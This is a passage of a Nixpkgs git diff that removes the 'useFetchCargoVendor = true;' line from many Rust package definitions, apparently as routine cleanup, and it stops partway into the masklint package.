diff --git a/pkgs/by-name/li/lintspec/package.nix b/pkgs/by-name/li/lintspec/package.nix
index d403c207cbf7..0033c4e501ee 100644
--- a/pkgs/by-name/li/lintspec/package.nix
+++ b/pkgs/by-name/li/lintspec/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-I9u4fS3K3tPgr15lAEkBQO1KXSNPAu3aiM9Qo9IRuHE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-wTR4E+Pbx0ReeVav/ECklS8on0v5aYvFqE+FZhieRHk=";
 
   meta = {
diff --git a/pkgs/by-name/li/lipl/package.nix b/pkgs/by-name/li/lipl/package.nix
index cca2898cc70a..23871ddd4417 100644
--- a/pkgs/by-name/li/lipl/package.nix
+++ b/pkgs/by-name/li/lipl/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-KN0yKhtDtlzELNUzR9fmP2mDPBJe1N+tawzI4FX/HSU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-TA/EP2CJceKNzPBV8K24Pyly1oj3tyIkpdPZJ9Zh81E=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/li/listenbrainz-mpd/package.nix b/pkgs/by-name/li/listenbrainz-mpd/package.nix
index 6e473ad6d7aa..54990b1702cd 100644
--- a/pkgs/by-name/li/listenbrainz-mpd/package.nix
+++ b/pkgs/by-name/li/listenbrainz-mpd/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-QBc0avci232UIxzTKlS0pjL7cCuvwAFgw6dSwdtYAtU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-NQXXR6b1XZDihVoRNFJLXtMNjlzOIzkc4rthwx0A7AE=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/li/live-server/package.nix b/pkgs/by-name/li/live-server/package.nix
index 0257a426b04f..b766206f9466 100644
--- a/pkgs/by-name/li/live-server/package.nix
+++ b/pkgs/by-name/li/live-server/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-8NM3XJ7RC7cUNKN1DPW2huvkx7tfA8zDrETkwDMbaT8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-tUKhVDv+ZDGRpJC/sSYcQxYhGsAyOsflc+GeUyBaeEk=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ll/lla/package.nix b/pkgs/by-name/ll/lla/package.nix
index 0323e2b709d0..7b856d6894b3 100644
--- a/pkgs/by-name/ll/lla/package.nix
+++ b/pkgs/by-name/ll/lla/package.nix
@@ -26,7 +26,6 @@ rustPlatform.buildRustPackage {
     installShellFiles
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-aX8nm/V0ug2g40QeFU9AWxjuFAnW+gYTR8RC5CV7wRQ=";
 
   cargoBuildFlags = [ "--workspace" ];
diff --git a/pkgs/by-name/ll/lldap/package.nix b/pkgs/by-name/ll/lldap/package.nix
index 6931256080b2..c335ffa727bf 100644
--- a/pkgs/by-name/ll/lldap/package.nix
+++ b/pkgs/by-name/ll/lldap/package.nix
@@ -24,7 +24,6 @@ let
       hash = "sha256-iQ+Vv9kx/pWHoa/WZChBK+FD2r1avzWWz57bnnzRjUg=";
     };
 
-    useFetchCargoVendor = true;
     cargoHash = "sha256-qXYgr9uRswuo9hwVROUX9KUKpkzR0VEcXImbdyOgxsY=";
 
   };
diff --git a/pkgs/by-name/ll/llm-ls/package.nix b/pkgs/by-name/ll/llm-ls/package.nix
index c4b45fd9bc51..b60cc62023b8 100644
--- a/pkgs/by-name/ll/llm-ls/package.nix
+++ b/pkgs/by-name/ll/llm-ls/package.nix
@@ -28,7 +28,7 @@ rustPlatform.buildRustPackage rec {
       hash = "sha256-4gXasfMqlrrP8II+FiV/qGfO7a9qFkDQMiax7yEua5E=";
     })
   ];
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-qiYspv2KcvzxVshVpAMlSqFDqbbiutpLyWMz+QSIVmQ=";
 
   buildAndTestSubdir = "crates/llm-ls";
diff --git a/pkgs/by-name/ll/lls/package.nix b/pkgs/by-name/ll/lls/package.nix
index 7d7edcc5a8ee..98700eafb72d 100644
--- a/pkgs/by-name/ll/lls/package.nix
+++ b/pkgs/by-name/ll/lls/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-eFGyrGtH57a5iRWHWqt1h58QMdmPf2rPqHnuVj5u6PQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-TY7s0sIeW+FgxqbbYvK3uZ2RwPLVKKhLq3DOurer+Gc=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ln/lnx/package.nix b/pkgs/by-name/ln/lnx/package.nix
index 08a75bcd4f6a..11a68dcffadc 100644
--- a/pkgs/by-name/ln/lnx/package.nix
+++ b/pkgs/by-name/ln/lnx/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage {
     sha256 = "sha256-iwoZ6xRzEDArmhWYxIrbIXRTQjOizyTsXCvMdnUrs2g=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-9fro1Dx7P+P9NTsg0gtMfr0s4TEpkZA31EFAnObiNFo=";
   meta = with lib; {
     description = "Insanely fast, Feature-rich searching. lnx is the adaptable, typo tollerant deployment of the tantivy search engine. Standing on the shoulders of giants.";
diff --git a/pkgs/by-name/lo/lockbook-desktop/package.nix b/pkgs/by-name/lo/lockbook-desktop/package.nix
index 1364545c2b76..f844f66448be 100644
--- a/pkgs/by-name/lo/lockbook-desktop/package.nix
+++ b/pkgs/by-name/lo/lockbook-desktop/package.nix
@@ -27,7 +27,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-8zkEVdvoM0PDqGyqY16ZRgyY8G0LplmhAb0THwqTVig=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-2NGb4a/Ak8DlaxHVElJg8Vhrt4W4XPZdDE283TH19C4=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/lo/lockbook/package.nix b/pkgs/by-name/lo/lockbook/package.nix
index 6b2fe18cf051..d16119851ef7 100644
--- a/pkgs/by-name/lo/lockbook/package.nix
+++ b/pkgs/by-name/lo/lockbook/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-8zkEVdvoM0PDqGyqY16ZRgyY8G0LplmhAb0THwqTVig=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-2NGb4a/Ak8DlaxHVElJg8Vhrt4W4XPZdDE283TH19C4=";
 
   doCheck = false; # there are no cli tests
diff --git a/pkgs/by-name/lo/loco/package.nix b/pkgs/by-name/lo/loco/package.nix
index 158145b80a3b..033e1e5eee06 100644
--- a/pkgs/by-name/lo/loco/package.nix
+++ b/pkgs/by-name/lo/loco/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-sTPFDdiYmw+ODAcuBh4XXpSXVZbbYxfjr+WiTGit18E=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-EsNFdk7bLRzyfncDRxqS0CQGdtPFdRRSlpTTxbQ8csI=";
 
   #Skip trycmd integration tests
diff --git a/pkgs/by-name/lo/lon/package.nix b/pkgs/by-name/lo/lon/package.nix
index cd48fec975f3..09b9b0cbfd5b 100644
--- a/pkgs/by-name/lo/lon/package.nix
+++ b/pkgs/by-name/lo/lon/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
 
   sourceRoot = "source/rust/lon";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Aa8Rkny5hBfQpGcZYJrbzU00ExJPTfhQzKDbHAt8rXE=";
 
   nativeBuildInputs = [ makeBinaryWrapper ];
diff --git a/pkgs/by-name/lo/lorri/package.nix b/pkgs/by-name/lo/lorri/package.nix
index 340cb69988bc..142b0925a4f9 100644
--- a/pkgs/by-name/lo/lorri/package.nix
+++ b/pkgs/by-name/lo/lorri/package.nix
@@ -34,7 +34,6 @@ in
     "doc"
   ];
 
-  useFetchCargoVendor = true;
   inherit cargoHash;
   doCheck = false;
 
diff --git a/pkgs/by-name/lo/lovely-injector/package.nix b/pkgs/by-name/lo/lovely-injector/package.nix
index ef370f100781..795b6fd48eeb 100644
--- a/pkgs/by-name/lo/lovely-injector/package.nix
+++ b/pkgs/by-name/lo/lovely-injector/package.nix
@@ -18,7 +18,7 @@ rustPlatform.buildRustPackage {
     tag = "v${version}";
     hash = "sha256-j03/DOnLFfFYTwGGh+7BalS779jyg+p0UqtcTTyHgv4=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-hHq26kSKcqEldxUb6bn1laTpKGFplP9/2uogsal8T5A=";
   # no tests
   doCheck = false;
diff --git a/pkgs/by-name/lo/lowfi/package.nix b/pkgs/by-name/lo/lowfi/package.nix
index 0d5351fdd07d..426ad6280e8b 100644
--- a/pkgs/by-name/lo/lowfi/package.nix
+++ b/pkgs/by-name/lo/lowfi/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-t3Lbqrcmh0XSOO+hc4UsWhKi4zToORFQo0A4G32aeOw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-waQcxdVXZZ09wuLWUNL4nRUHF1rIDI8lAfYc/1bxMl0=";
 
   buildFeatures = lib.optionals stdenv.hostPlatform.isLinux [ "mpris" ];
diff --git a/pkgs/by-name/lr/lrcget/package.nix b/pkgs/by-name/lr/lrcget/package.nix
index a2045feec571..d0fe49afd5b2 100644
--- a/pkgs/by-name/lr/lrcget/package.nix
+++ b/pkgs/by-name/lr/lrcget/package.nix
@@ -39,7 +39,6 @@ rustPlatform.buildRustPackage rec {
   cargoRoot = "src-tauri";
   buildAndTestSubdir = "src-tauri";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Nu1N96OrLG/D2/1vbU229jLVNZuKIiCSwDJA25hlqFM=";
 
   # FIXME: This is a workaround, because we have a git dependency node_modules/lrc-kit contains install scripts
diff --git a/pkgs/by-name/ls/lscolors/package.nix b/pkgs/by-name/ls/lscolors/package.nix
index 2f7441b9cff4..032ce00317ba 100644
--- a/pkgs/by-name/ls/lscolors/package.nix
+++ b/pkgs/by-name/ls/lscolors/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-EUUPVSpHc9tN1Hi7917hJ2psTZq5nnGw6PBeApvlVtw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-WsbzlL+RbR8Hnrsbgr7gFpBlo3RBKcNYPbOsZWygyrI=";
 
   buildFeatures = [ "nu-ansi-term" ];
diff --git a/pkgs/by-name/ls/lsd/package.nix b/pkgs/by-name/ls/lsd/package.nix
index e3602446f902..fb538ab0fea5 100644
--- a/pkgs/by-name/ls/lsd/package.nix
+++ b/pkgs/by-name/ls/lsd/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-LlMcBMb40yN+rlvGVsh7JaC3j9sF60YxitQQXe1q/oI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-yOJKXfPtzaYF012YCyW3m+9ffag4En4ZfTaiVh/85dM=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ls/lsp-ai/package.nix b/pkgs/by-name/ls/lsp-ai/package.nix
index 9c19652d5323..8f7cb0adab8e 100644
--- a/pkgs/by-name/ls/lsp-ai/package.nix
+++ b/pkgs/by-name/ls/lsp-ai/package.nix
@@ -47,7 +47,6 @@ rustPlatform.buildRustPackage rec {
     "--skip=test_refactor_action_sequence"
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-KR6BmYj3q9w0yGHFq9+l1x989XjiG3mkaZiyDGCYWPA=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/lu/lucky-commit/package.nix b/pkgs/by-name/lu/lucky-commit/package.nix
index 0eddf327835f..395a8e64e194 100644
--- a/pkgs/by-name/lu/lucky-commit/package.nix
+++ b/pkgs/by-name/lu/lucky-commit/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-pghc2lTI81/z1bPJ6P2bFPyZkM8pko0V7lqv9rUUxWM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-zuWPkaYltxOOLaR6NTVkf1WbKzUQByml45jNL+e5UJ0=";
 
   buildInputs = lib.optional (withOpenCL && (!stdenv.hostPlatform.isDarwin)) ocl-icd;
diff --git a/pkgs/by-name/lu/ludtwig/package.nix b/pkgs/by-name/lu/ludtwig/package.nix
index b3ebe3f092e0..d82627841e69 100644
--- a/pkgs/by-name/lu/ludtwig/package.nix
+++ b/pkgs/by-name/lu/ludtwig/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
 
   checkType = "debug";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-00JHtrDffFl3h3IOH+h491qGOSfXIJH9NBmaqqUtQ6k=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/lu/ludusavi/package.nix b/pkgs/by-name/lu/ludusavi/package.nix
index a050d1793416..6c849c399017 100644
--- a/pkgs/by-name/lu/ludusavi/package.nix
+++ b/pkgs/by-name/lu/ludusavi/package.nix
@@ -42,7 +42,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-IApPudo8oD6YkYJkGpowqpaqrsl2/Q2VFyYfYQI3mN0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ixxUz+XJPzPu51sxHpXs92Tis2gj9SElqYtNiN+n2EY=";
 
   dontWrapGApps = true;
diff --git a/pkgs/by-name/lu/luminous-ttv/package.nix b/pkgs/by-name/lu/luminous-ttv/package.nix
index 9d1fe61b0449..c94afadb82b2 100644
--- a/pkgs/by-name/lu/luminous-ttv/package.nix
+++ b/pkgs/by-name/lu/luminous-ttv/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-pT+hiREKdzw9MKv28QpLK6LmHvnRci26f0DlcXns2rA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-A5fUATbOuwSt0n1KV/+bbd65mDwWhllGraf2RrBTK6s=";
 
   meta = {
diff --git a/pkgs/by-name/lu/lunatic/package.nix b/pkgs/by-name/lu/lunatic/package.nix
index eace661ef36c..4d4331414386 100644
--- a/pkgs/by-name/lu/lunatic/package.nix
+++ b/pkgs/by-name/lu/lunatic/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-FnUYnSWarQf68jBfSlIKVZbQHJt5U93MvA6rbNJE23U=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+2koGrhM9VMLh8uO1YcaugcfmZaCP4S2twKem+y2oks=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/lu/lune/package.nix b/pkgs/by-name/lu/lune/package.nix
index bf7c742bdd28..85369b6a2294 100644
--- a/pkgs/by-name/lu/lune/package.nix
+++ b/pkgs/by-name/lu/lune/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     fetchSubmodules = true;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-oOz7r/5NTzdNbVvO2erWlWR0f0fH7HWBo9LVkZN65pU=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/lu/lurk/package.nix b/pkgs/by-name/lu/lurk/package.nix
index 582d909b5202..f14914ef1f66 100644
--- a/pkgs/by-name/lu/lurk/package.nix
+++ b/pkgs/by-name/lu/lurk/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-KiM5w0YPxEpJ4cR/8YfhWlTrffqf5Ak1eu0yxgOmqUs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-N8jAmD9IpR+HALWpqp7y/wp75JVb4zgzoLT5oJ06njY=";
 
   postPatch = ''
diff --git a/pkgs/by-name/lu/lutgen/package.nix b/pkgs/by-name/lu/lutgen/package.nix
index 011a65ce898f..c5eaff66a461 100644
--- a/pkgs/by-name/lu/lutgen/package.nix
+++ b/pkgs/by-name/lu/lutgen/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-VE4R0rdQbZ7cyCPRtWWARUAnlR/KWGFUoJSJ4lySwzY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-H913/EjCh14AcCIj/Em6neP5F6i88rSVbPMmnS3po/I=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/lu/lux-cli/package.nix b/pkgs/by-name/lu/lux-cli/package.nix
index 7f5a78e1cfb0..d757ab319116 100644
--- a/pkgs/by-name/lu/lux-cli/package.nix
+++ b/pkgs/by-name/lu/lux-cli/package.nix
@@ -22,7 +22,7 @@ rustPlatform.buildRustPackage rec {
   src = luaPackages.lux-lua.src;
 
   buildAndTestSubdir = "lux-cli";
-  useFetchCargoVendor = true;
+
   cargoHash = luaPackages.lux-lua.cargoHash;
 
   nativeInstallCheckInputs = [
diff --git a/pkgs/by-name/ly/lychee/package.nix b/pkgs/by-name/ly/lychee/package.nix
index 50d841d2a8a0..830ef091c6f3 100644
--- a/pkgs/by-name/ly/lychee/package.nix
+++ b/pkgs/by-name/ly/lychee/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-aT7kVN2KM90M193h4Xng6+v69roW0J4GLd+29BzALhI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-TKKhT4AhV2uzXOHRnKHiZJusNoCWUliKmKvDw+Aeqnc=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ma/maa-cli/package.nix b/pkgs/by-name/ma/maa-cli/package.nix
index cc70f4c25c47..29d63ae3f9d7 100644
--- a/pkgs/by-name/ma/maa-cli/package.nix
+++ b/pkgs/by-name/ma/maa-cli/package.nix
@@ -35,7 +35,6 @@ rustPlatform.buildRustPackage rec {
   buildNoDefaultFeatures = true;
   buildFeatures = [ "git2" ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1KTPvL5JdxN1TPfS0H6Rxi4o8dzMAolHSti9xUKChL8=";
 
   # maa-cli would only search libMaaCore.so and resources in itself's path
diff --git a/pkgs/by-name/ma/macchina/package.nix b/pkgs/by-name/ma/macchina/package.nix
index 03d34ca4257f..ff82b9fb279a 100644
--- a/pkgs/by-name/ma/macchina/package.nix
+++ b/pkgs/by-name/ma/macchina/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-GZO9xGc3KGdq2WdA10m/XV8cNAlQjUZFUVu1CzidJ5c=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-B3dylFOMQ1a1DfemfQFFlLVKCmB+ipUMV45iDh8fSqY=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ma/macmon/package.nix b/pkgs/by-name/ma/macmon/package.nix
index 2123287ba177..ae1c31ec6e44 100644
--- a/pkgs/by-name/ma/macmon/package.nix
+++ b/pkgs/by-name/ma/macmon/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Uc+UjlCeG7W++l7d/3tSkIVbUi8IbNn3A5fqyshG+xE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-erKN6wR/W48QF1FbUkzjo6xaN1GVbAelruzxf4NS07o=";
 
   meta = {
diff --git a/pkgs/by-name/ma/macos-defaults/package.nix b/pkgs/by-name/ma/macos-defaults/package.nix
index 00f13bfcbb21..f78d51984d16 100644
--- a/pkgs/by-name/ma/macos-defaults/package.nix
+++ b/pkgs/by-name/ma/macos-defaults/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-dSZjMuw7ott0dgiYo0rqekEvScmrX6iG7xHaPAgo1/E=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-xSg6WAkFPS8B1G4WqMW77egCMmOEo3rK2EKcrDYaBjA=";
 
   checkFlags = [
diff --git a/pkgs/by-name/ma/magic-wormhole-rs/package.nix b/pkgs/by-name/ma/magic-wormhole-rs/package.nix
index 9125fe5b0378..b0b41cafb024 100644
--- a/pkgs/by-name/ma/magic-wormhole-rs/package.nix
+++ b/pkgs/by-name/ma/magic-wormhole-rs/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-01u1DJNd/06q9dH/Y4E5kj5gb2CA7EKdoPtMhzCLtso=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-sZuvhJWgBlptfgsKglWvL6oxK5W3y2x0Gwf+r2pNRi8=";
 
   buildInputs = lib.optionals (!stdenv.hostPlatform.isDarwin) [ libxcb ];
diff --git a/pkgs/by-name/ma/mago/package.nix b/pkgs/by-name/ma/mago/package.nix
index ef663c369c3d..725ed7b6e672 100644
--- a/pkgs/by-name/ma/mago/package.nix
+++ b/pkgs/by-name/ma/mago/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Kdktcq3czn6YdGKoTB7AjCtfDkNTHhee/kVhMzxsuD8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-V7x0n+JcXiSGg8sJBKnsB5/KnfJSadYH0i/dNouhoHc=";
 
   env = {
diff --git a/pkgs/by-name/ma/majima/package.nix b/pkgs/by-name/ma/majima/package.nix
index 69b3d37a5e5a..9e8ac1868b31 100644
--- a/pkgs/by-name/ma/majima/package.nix
+++ b/pkgs/by-name/ma/majima/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-P5E0Wiy3mNPRCQ/bsIW4fG7LnPSPRXmW7pnbgl0/lBQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-bb3rg7vWRBSOPf0LM7avQQNlMjLiLFRtrGIfJbFWtHI=";
 
   meta = {
diff --git a/pkgs/by-name/ma/maker-panel/package.nix b/pkgs/by-name/ma/maker-panel/package.nix
index 2bbf17a417ca..0ba87d8fe84b 100644
--- a/pkgs/by-name/ma/maker-panel/package.nix
+++ b/pkgs/by-name/ma/maker-panel/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "0dlsy0c46781sb652kp80pvga7pzx6xla64axir92fcgg8k803bi";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-H4eKZlay0IZ8vAclGruDAyh7Vd6kCvGLxJ5y/cuF+F4=";
 
   cargoPatches = [ ./update-gerber-types-to-0.3.patch ];
diff --git a/pkgs/by-name/ma/makima/package.nix b/pkgs/by-name/ma/makima/package.nix
index 69a4ad2548b1..102beb8dd496 100644
--- a/pkgs/by-name/ma/makima/package.nix
+++ b/pkgs/by-name/ma/makima/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Pb9XBMs0AeklobxEDRQ1GDeI6hQFZ43EJt/+XQEGrWU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-7XpecFwkUW3VVMYUAmHEL9gk5mpwC0mWN2N8Dptm3iI=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ma/managarr/package.nix b/pkgs/by-name/ma/managarr/package.nix
index e90f4aa1c34e..1e4b6374d0d4 100644
--- a/pkgs/by-name/ma/managarr/package.nix
+++ b/pkgs/by-name/ma/managarr/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-VWlKfot6G97H7o1JhcAQgAjhYr2hvPrez1ZkeniWYBQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-bddsQlPsVXrhKoitEmxb2fZIoq4ePsVCGBN1y5hMn2U=";
 
   nativeBuildInputs = [ perl ];
diff --git a/pkgs/by-name/ma/mandown/package.nix b/pkgs/by-name/ma/mandown/package.nix
index 645398c90d0c..55b57a63e5a4 100644
--- a/pkgs/by-name/ma/mandown/package.nix
+++ b/pkgs/by-name/ma/mandown/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-a+1tm9YlBuroTtgCL0nTjASaPiJHif89pRH0CWw7RjM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ZyjoAvsqUyHgfEsG3+CvJatmBt0AJ2ga6HRJ8Y7her0=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/ma/manga-tui/package.nix b/pkgs/by-name/ma/manga-tui/package.nix
index af215b99a4dd..b6862957df1e 100644
--- a/pkgs/by-name/ma/manga-tui/package.nix
+++ b/pkgs/by-name/ma/manga-tui/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-1WFg2hG3UnOO9+HpUcdPkZNhsNYa2QG1PhzLZ4bQiQM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1nERwIZCR/afgfGdronpy145GnDkbsB7YjF6XyDcfEY=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ma/mangayomi/package.nix b/pkgs/by-name/ma/mangayomi/package.nix
index 9e7fe1639c21..b6f3964cb52d 100644
--- a/pkgs/by-name/ma/mangayomi/package.nix
+++ b/pkgs/by-name/ma/mangayomi/package.nix
@@ -36,8 +36,6 @@ let
 
     sourceRoot = "${src.name}/rust";
 
-    useFetchCargoVendor = true;
-
     cargoHash = "sha256-vGu5e5M6CFpaLodEpt8v8DGhu2S5h/E4vvqSNOKkWns=";
 
     passthru.libraryPath = "lib/librust_lib_mangayomi.so";
diff --git a/pkgs/by-name/ma/manix/package.nix b/pkgs/by-name/ma/manix/package.nix
index 278ddec52a45..cd52e323a464 100644
--- a/pkgs/by-name/ma/manix/package.nix
+++ b/pkgs/by-name/ma/manix/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-b/3NvY+puffiQFCQuhRMe81x2wm3vR01MR3iwe/gJkw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-6KkZg8MXQIewhwdLE8NiqllJifa0uvebU1/MqeE/bdI=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ma/markdown-oxide/package.nix b/pkgs/by-name/ma/markdown-oxide/package.nix
index 9bcb6a7cd31f..efa4eaa75e75 100644
--- a/pkgs/by-name/ma/markdown-oxide/package.nix
+++ b/pkgs/by-name/ma/markdown-oxide/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-hgXqJwmIpXJNIl67Jjbg5MR4PlwB5XbqnFo+rNLoqbE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-o4wn6L5PVZM0SN8kA34NOp6ogTSoCv2xiN4vfj+ptc8=";
 
   meta = {
diff --git a/pkgs/by-name/ma/markuplinkchecker/package.nix b/pkgs/by-name/ma/markuplinkchecker/package.nix
index 5155985b1f98..0abd397a67f2 100644
--- a/pkgs/by-name/ma/markuplinkchecker/package.nix
+++ b/pkgs/by-name/ma/markuplinkchecker/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-16ZGYUP7h6WmwjadLHqOQClejZ35LwavFgjs9x3NYVo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-u60hjpQaF+EnWzMcM7T8UjcERF0+0ArltKcQXkEaxmc=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ma/marmite/package.nix b/pkgs/by-name/ma/marmite/package.nix
index e86839fe74a5..e87f6548fb62 100644
--- a/pkgs/by-name/ma/marmite/package.nix
+++ b/pkgs/by-name/ma/marmite/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-FxI+Qh3ZM6ZgE/KyZ/gU3CutBHETymgvkjNkYAJ012E=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-LMoakr7LGKFkxymOC8cNxxFbDDqw5gniqh/3ImnEbB8=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ma/martin/package.nix b/pkgs/by-name/ma/martin/package.nix
index b111df18b60a..5f29e7bf94a4 100644
--- a/pkgs/by-name/ma/martin/package.nix
+++ b/pkgs/by-name/ma/martin/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Jq72aEwM5bIaVywmS3HetR6nnBZnr3oa9a/4ZbgeL9E=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-595VKHLajoNinyv12J9qUi55hOcOFRgUeLlzvSdjESs=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ma/mask/package.nix b/pkgs/by-name/ma/mask/package.nix
index d1b1e0ff96ce..bc449ee1b24a 100644
--- a/pkgs/by-name/ma/mask/package.nix
+++ b/pkgs/by-name/ma/mask/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-xGD23pso5iS+9dmfTMNtR6YqUqKnzJTzMl+OnRGpL3g=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-JaYr6J3NOwVIHzGO4wLkke5O/T/9WUDENPgLP5Fwyhg=";
 
   # tests require mask to be installed
diff --git a/pkgs/by-name/ma/masklint/package.nix b/pkgs/by-name/ma/masklint/package.nix
index d950ca90fd4d..431b43d34200 100644
--- a/pkgs/by-name/ma/masklint/package.nix
+++ b/pkgs/by-name/ma/masklint/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage {
